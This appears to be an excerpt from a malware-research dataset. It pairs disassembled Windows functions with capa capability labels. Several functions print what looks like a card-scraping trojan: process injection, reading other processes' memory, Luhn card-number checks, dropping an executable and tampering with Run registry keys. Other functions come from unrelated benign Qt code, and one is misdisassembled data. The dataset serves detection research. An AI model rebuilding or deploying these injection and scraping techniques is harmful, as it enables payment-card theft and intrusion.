joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402f90
Capabilities:
Create process on windows
Create process suspended
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.00401940
add esp, 0xc
mov dword [ebp - 0x60], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x1c]
push ecx
call fcn.00401940
add esp, 0xc
mov dword [0x4071c4], 1
lea edx, [ebp - 0x1c]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push 0x4073a0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x402ff1
jmp 0x4030ae
push 2
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
mov edx, dword [0x4071c0]
push edx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [0x4071c0], eax
cmp dword [ebp + 8], 0
je 0x403049
mov eax, dword [0x4071c8]
mov dword [0x4071cc], eax
mov ecx, dword [ebp - 0x14]
mov dword [0x4071d0], ecx
push 2
push 0
push 0
push 0
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [0x4071d4]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov dword [0x4071d4], eax
mov ecx, dword [ebp - 0x1c]
mov dword [0x407368], ecx
mov edx, dword [0x407a90]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.004031d0
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403076
jmp 0x4030ae
mov edx, entry0
sub edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 0xc], edx
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x4030ae
cmp dword [ebp + 8], 0
jne 0x4030ae
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x403100
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x40
push 0x3000
mov eax, dword [ebp + 0x10]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40312d
xor eax, eax
jmp 0x4031c5
mov edx, dword [ebp + 0x10]
push edx
push 8
mov eax, dword [0x407a8c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403161
push 0x8000
push 0
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x4031c5
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401980
add esp, 0xc
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 8]
push ecx
push 8
mov edx, dword [0x407a8c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 0xc], 0
jne 0x4031c2
push 0x8000
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor eax, eax
jmp 0x4031c5
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403890
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x407240
call fcn.00401940
add esp, 0xc
mov dword [0x407240], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x407240
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x407264
call fcn.00403ae0
add esp, 4
cmp eax, 1
jne 0x4038ec
jmp 0x403a83
mov ecx, dword [0x4071c8]
cmp ecx, dword [0x407248]
je 0x403908
mov edx, dword [0x4071c8]
cmp edx, dword [0x407258]
jne 0x40390d
jmp 0x403a83
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x407248]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40393d
jmp 0x403a83
cmp dword [0x407af0], 1
jne 0x403969
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407af8]
cmp dword [ebp - 0x20], 0
jne 0x403969
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403a83
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403a79
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401940
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x4039b2
cmp dword [ebp - 0xc], 0
je 0x4039b2
jmp 0x403a79
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x4039ce
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x4039d0
jmp 0x403970
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403a74
cmp dword [ebp - 8], 0
je 0x4039f4
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x4039fa
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403a18
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403a25
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x4071d8]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403b30
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00404450
add esp, 8
jmp 0x4039d7
jmp 0x403970
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x407240
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x4038d5
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x404cf0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 2
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x3c], 6
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 5
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x404d6e
cmp dword [ebp - 8], 0
jne 0x404d61
mov dword [ebp - 0x10], 1
jmp 0x404d68
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
je 0x404db5
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx]
sub edx, 0x30
mov dword [ebp - 0x14], edx
cmp dword [ebp - 8], 0
je 0x404da0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x404daa
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + ecx*4 - 0x48]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
jmp 0x404d52
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 0xa
idiv ecx
test edx, edx
jne 0x404dcd
mov dword [ebp - 0x1c], 1
jmp 0x404dd4
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x405340
Capabilities:
Create directory
Create process on windows
Create process suspended
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x438
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004024b0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40545d
lea edx, [ebp - 0x438]
push edx
push 0
push 0
push 0x20
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 5
lea eax, [ebp - 0x28]
push eax
call fcn.00401340
add esp, 8
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x438]
push edx
push 0x406d60
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x230]
push eax
push str._s_s.exe
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 8], eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor edx, edx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x230]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x405470
Capabilities:
Delete file
Delete registry key
Persist via run registry key
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x407a88]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x407a84]
mov dword [ebp - 0x14], ecx
mov edx, dword [0x407a80]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x38], str.SoftwareResilience_Software
mov dword [ebp - 0x34], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x30], str..DEFAULTSOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x2c], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x28], 0x407620
mov dword [ebp - 0x24], 0x80000001
mov dword [ebp - 0x20], 0x80000002
mov dword [ebp - 0x1c], 0x80000003
mov dword [ebp - 8], 0
jmp 0x4054da
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jae 0x4054f2
push 0
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + ecx*4 - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x4054d1
mov eax, dword [0x4071d0]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x405521
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0
jmp 0x405533
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jae 0x40555d
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + ecx*4 - 0x38]
push edx
mov eax, dword [ebp - 4]
xor edx, edx
mov ecx, 0xc
div ecx
shr edx, 2
mov edx, dword [ebp + edx*4 - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
jmp 0x40552a
mov eax, 4
shl eax, 2
mov ecx, dword [ebp + eax - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x41c500
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x427850], 0
jne 0x41c581
cmp dword [0x427870], 0
jne 0x41c530
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x427870], eax
test eax, eax
jne 0x41c530
push str.GetEnvironmentStrings_failed
call fcn.0041bd1c
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x427870]
jmp 0x41c544
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c53c
lea edi, [ebp + 1]
push edi
call fcn.004161a8
pop ecx
mov ebx, eax
mov dword [0x427854], ebx
test ebx, ebx
jne 0x41c56e
xor eax, eax
jmp 0x41c644
push edi
mov edx, dword [0x427870]
push edx
push ebx
call fcn.00416754
add esp, 0xc
jmp 0x41c5a1
xor esi, esi
mov ebx, dword [0x427850]
jmp 0x41c59b
push eax
call fcn.004168a4
pop ecx
test eax, eax
jne 0x41c597
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c58b
lea ebx, [esi + 4]
push 4
mov dword [0x427858], ebx
inc ebx
push ebx
call fcn.00415c80
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x41c5c4
xor eax, eax
jmp 0x41c644
cmp dword [0x427850], 0
jne 0x41c5f5
xor esi, esi
mov ebx, dword [0x427854]
mov eax, dword [esp]
mov ebp, eax
jmp 0x41c5e6
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.004168a4
pop ecx
mov edi, eax
test eax, eax
jne 0x41c5dc
jmp 0x41c626
xor esi, esi
mov ebx, dword [0x427850]
mov eax, dword [esp]
mov edi, eax
jmp 0x41c620
push eax
call fcn.004168a4
pop ecx
test eax, eax
je 0x41c615
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x41c619
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x41c604
mov eax, dword [0x427850]
test eax, eax
je 0x41c636
push eax
call fcn.004161b8
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x427850], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x406ff5
Capabilities:
Encode data using xor

Disassembly:
rol dword [eax], 0x89
inc ebp
clc
lea ecx, [ecx - 0x13b27208]
lea edx, [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
mov byte [0x5589e84d], al
or al, 0x74
inc ebp
invalid
Function at 0x415420
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x583f1b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push ebp
push esi
push edi
mov eax, dword [0x6a3b20]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
xor ebx, ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov eax, dword [esp + 0x30]
mov dword [esp + 0x20], ebx
mov dword [esi + 0xc], eax
cmp eax, ebx
je 0x415471
push 0x40
push ebx
push eax
call fcn.005808b8
add esp, 0xc
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x28]
cmp eax, 2
mov dword [esi + 0x34], ecx
setne dl
mov ecx, esi
mov byte [esi + 8], bl
mov dword [esi], eax
mov dword [esi + 0x18], 0xffffffff
mov byte [esi + 0x38], bl
mov dword [esi + 0x1c], ebx
mov dword [esi + 0xc8], ebx
mov byte [esi + 0x14], dl
mov dword [esi + 0x10], 1
call fcn.004151e0
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x415549
mov dword [eax], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 2
mov ecx, 0x1c
lea eax, [esi + 0xe4]
lea edx, [esi + 0x1a4]
lea esp, [esp]
cmp dword [esi + 0xc8], 2
lea ebx, [esi + 0xc8]
jl 0x4154f3
lea ebx, [esp + 0x2c]
mov ebp, dword [esp + 0x30]
cmp ebp, dword [ebx]
jge 0x415542
mov ebx, dword [esi + 0xc]
mov ebp, dword [esi + 0xc8]
inc dword [esp + 0x30]
mov dword [ebx + 4], ebp
mov ebp, dword [edx - 4]
mov ebx, dword [esi + 0xc]
mov dword [ebx + ecx - 8], ebp
mov ebp, dword [edx]
mov ebx, dword [esi + 0xc]
mov dword [ecx + ebx], ebp
mov ebp, dword [eax + 4]
mov ebx, dword [esi + 0xc]
mov dword [ebx + 0x28], ebp
mov ebp, dword [eax]
mov ebx, dword [esi + 0xc]
mov dword [ebx + 0x2c], ebp
mov ebp, dword [eax + 0xc]
mov ebx, dword [esi + 0xc]
add ecx, 4
add edx, 0x30
mov dword [ebx + 0x24], ebp
add eax, 0x34
jmp 0x4154e0
mov ecx, esi
call fcn.00414a80
mov eax, esi
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0xc
Function at 0x4162c0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x5840a3
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push ebp
push esi
push edi
mov eax, dword [0x6a3b20]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0x14], esi
mov eax, dword [esp + 0x38]
push eax
call dword [0x5a7c30]
mov dword [esi], vtable.RMVideoFileList.0
mov ecx, dword [0x5a7c68]
xor ebx, ebx
mov dword [esp + 0x30], ebx
mov dword [esi + 0xc], ecx
lea ecx, [esi + 0x20]
call dword [0x5a7d38]
push 0x5a9974
lea ecx, [esi + 0x20]
mov byte [esp + 0x34], 2
mov dword [esi + 0x1c], ebx
call dword [0x5a7d4c]
push 0x6a4190
lea ecx, [esp + 0x1c]
mov dword [esi + 0x18], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
call fcn.00415e70
mov eax, dword [esp + 0x18]
mov edx, dword [eax + 8]
lea ecx, [eax + edx*4 + 0x10]
mov dword [esp + 0x1c], ecx
mov edx, dword [eax + 0xc]
lea eax, [eax + edx*4 + 0x10]
mov dword [esp + 0x20], eax
mov eax, 1
mov dword [esp + 0x24], eax
mov byte [esp + 0x30], 3
cmp ecx, dword [esp + 0x20]
je 0x4163c8
mov edx, dword [ecx]
mov edi, dword [edx]
cmp eax, ebx
je 0x4163b8
push 0x10
call fcn.00580794
add esp, 4
mov dword [esp + 0x38], eax
mov byte [esp + 0x30], 4
cmp eax, ebx
je 0x41639a
push edi
mov ecx, eax
call fcn.004195e0
jmp 0x41639c
xor eax, eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x38]
push eax
lea ecx, [esi + 0xc]
mov byte [esp + 0x34], 3
call fcn.00416130
mov ecx, dword [esp + 0x1c]
xor eax, eax
add ecx, 4
xor eax, 1
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x24], eax
jne 0x41636b
mov eax, dword [esp + 0x18]
mov ecx, dword [eax]
mov byte [esp + 0x30], 2
cmp ecx, ebx
je 0x4163ee
cmp ecx, 0xffffffff
je 0x41641f
or ecx, 0xffffffff
lock xadd dword [eax], ecx
setne al
cmp al, bl
jne 0x41641f
mov eax, dword [esp + 0x18]
mov edx, dword [eax + 0xc]
mov ecx, dword [eax + 8]
lea edi, [eax + edx*4 + 0x10]
lea ebx, [eax + ecx*4 + 0x10]
mov ebp, eax
cmp ebx, edi
je 0x416415
mov edx, dword [edi - 4]
sub edi, 4
push edx
call fcn.0058078e
add esp, 4
cmp edi, ebx
jne 0x416402
push ebp
call dword [0x5a7d8c]
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x4234d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5857e2
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push esi
push edi
mov eax, dword [0x6a3b20]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0xc], 0
je 0x423562
lea eax, [esp + 0x48]
push eax
push 0
push 0
push 0
lea ecx, [esp + 0x20]
call dword [0x5a7d50]
mov ecx, eax
call dword [0x5a7a5c]
push str.called_with_mParentPlot_already_initialized
push str.void___thiscall_QCPLayerable::initializeParentPlot_class_QCustomPlot__
mov ecx, eax
mov dword [esp + 0x48], 0
call dword [0x5a7d58]
mov ecx, eax
call dword [0x5a7d58]
lea ecx, [esp + 0x48]
mov dword [esp + 0x40], 0xffffffff
call dword [0x5a7d60]
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x38
ret 4
mov edi, dword [esp + 0x48]
test edi, edi
jne 0x4235b8
lea ecx, [esp + 0xc]
push ecx
push edi
push edi
push edi
lea ecx, [esp + 0x34]
call dword [0x5a7d50]
mov ecx, eax
call dword [0x5a7a5c]
push str.called_with_parentPlot_zero
push str.void___thiscall_QCPLayerable::initializeParentPlot_class_QCustomPlot__
mov ecx, eax
mov dword [esp + 0x48], 1
call dword [0x5a7d58]
mov ecx, eax
call dword [0x5a7d58]
lea ecx, [esp + 0xc]
mov dword [esp + 0x40], 0xffffffff
call dword [0x5a7d60]
mov edx, dword [esi]
mov eax, dword [edx + 0x30]
push edi
mov ecx, esi
mov dword [esi + 0xc], edi
call eax
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0x38
ret 4
Function at 0x432c20
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x586917
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x6a3b20]
xor eax, esp
mov dword [esp + 0x24], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x6a3b20]
xor eax, esp
push eax
lea eax, [esp + 0x3c]
mov dword fs:[0], eax
push 0xff
push 0xff
mov esi, ecx
push 0x50
push 0x50
lea ecx, [esp + 0x38]
mov dword [esp + 0x34], esi
mov dword [esi], vtable.QCPSelectionDecorator.0
call dword [0x5a7f70]
push 1
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x24]
call dword [0x5a7de8]
fld qword [0x5acbc8]
mov ebx, dword [0x5a7f6c]
push 0x40
push 0x10
push 1
sub esp, 8
lea ecx, [esp + 0x30]
fstp qword [esp]
push ecx
lea ecx, [esi + 8]
mov dword [esp + 0x5c], 0
call ebx
mov edi, dword [0x5a7de0]
lea ecx, [esp + 0x1c]
mov byte [esp + 0x44], 2
call edi
mov ebp, dword [0x5a7eac]
push 0
lea ecx, [esi + 0xc]
call ebp
push 0
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 3
call ebp
push 1
push 9
lea ecx, [esp + 0x20]
mov byte [esp + 0x4c], 4
call dword [0x5a7dec]
fld qword [0x5acac0]
push 0x40
push 0x10
push 1
sub esp, 8
lea edx, [esp + 0x2c]
fstp qword [esp]
push edx
lea ecx, [esp + 0x38]
mov byte [esp + 0x5c], 5
call ebx
fld qword [0x5ac608]
sub esp, 8
fstp qword [esp]
lea ecx, [esp + 0x1c]
push ecx
push eax
push 0
lea ecx, [esi + 0x10]
mov byte [esp + 0x58], 6
call fcn.004266d0
lea ecx, [esp + 0x20]
mov byte [esp + 0x44], 8
call dword [0x5a7e5c]
lea ecx, [esp + 0x18]
mov byte [esp + 0x44], 9
call edi
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 0xa
call edi
mov dword [esi + 0x40], 1
mov dword [esi + 0x44], 0
mov eax, esi
mov ecx, dword [esp + 0x3c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.0058077e
add esp, 0x34
ret
Function at 0x436890
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x586d43
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x6a3b20]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
xor esi, esi
mov dword [esp + 0x18], esi
mov eax, dword [esp + 0x30]
mov cl, byte [eax + 0x14]
mov ebp, dword [0x5a7ce4]
mov byte [esp + 0x17], cl
mov byte [eax + 0x14], 0
mov ecx, dword [esp + 0x30]
mov ebx, 1
push 0x28
mov dword [esp + 0x28], ebx
call ebp
mov ecx, dword [esp + 0x30]
cmp byte [ecx + 0x14], 0
je 0x4368f5
push 0x20
call ebp
mov ecx, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
sub edx, dword [eax + 8]
test edx, edx
jle 0x436962
mov ebx, dword [0x5a7a3c]
jmp 0x436910
test esi, esi
je 0x436927
push 0x5ab6d0
lea ecx, [esp + 0x34]
call dword [0x5a7d58]
mov ecx, dword [esp + 0x30]
mov eax, dword [edi]
mov edx, dword [eax + 8]
add edx, esi
lea eax, [eax + edx*4 + 0x10]
mov eax, dword [eax]
fld qword [eax]
sub esp, 8
fstp qword [esp]
call ebx
mov ecx, dword [esp + 0x30]
cmp byte [ecx + 0x14], 0
je 0x436950
push 0x20
call ebp
mov ecx, dword [esp + 0x30]
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
sub edx, dword [eax + 8]
inc esi
cmp esi, edx
jl 0x436910
mov ebx, 1
push 0x29
call ebp
mov ecx, dword [esp + 0x30]
cmp byte [ecx + 0x14], 0
je 0x436978
push 0x20
call ebp
mov ecx, dword [esp + 0x30]
mov al, byte [esp + 0x17]
mov byte [ecx + 0x14], al
mov ecx, dword [esp + 0x30]
cmp byte [ecx + 0x14], 0
je 0x436991
push 0x20
call ebp
mov ecx, dword [esp + 0x30]
mov esi, dword [esp + 0x2c]
mov dword [esi], ecx
add dword [ecx + 0xc], ebx
lea ecx, [esp + 0x30]
mov dword [esp + 0x18], ebx
mov byte [esp + 0x24], 0
call dword [0x5a7d60]
mov eax, esi
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret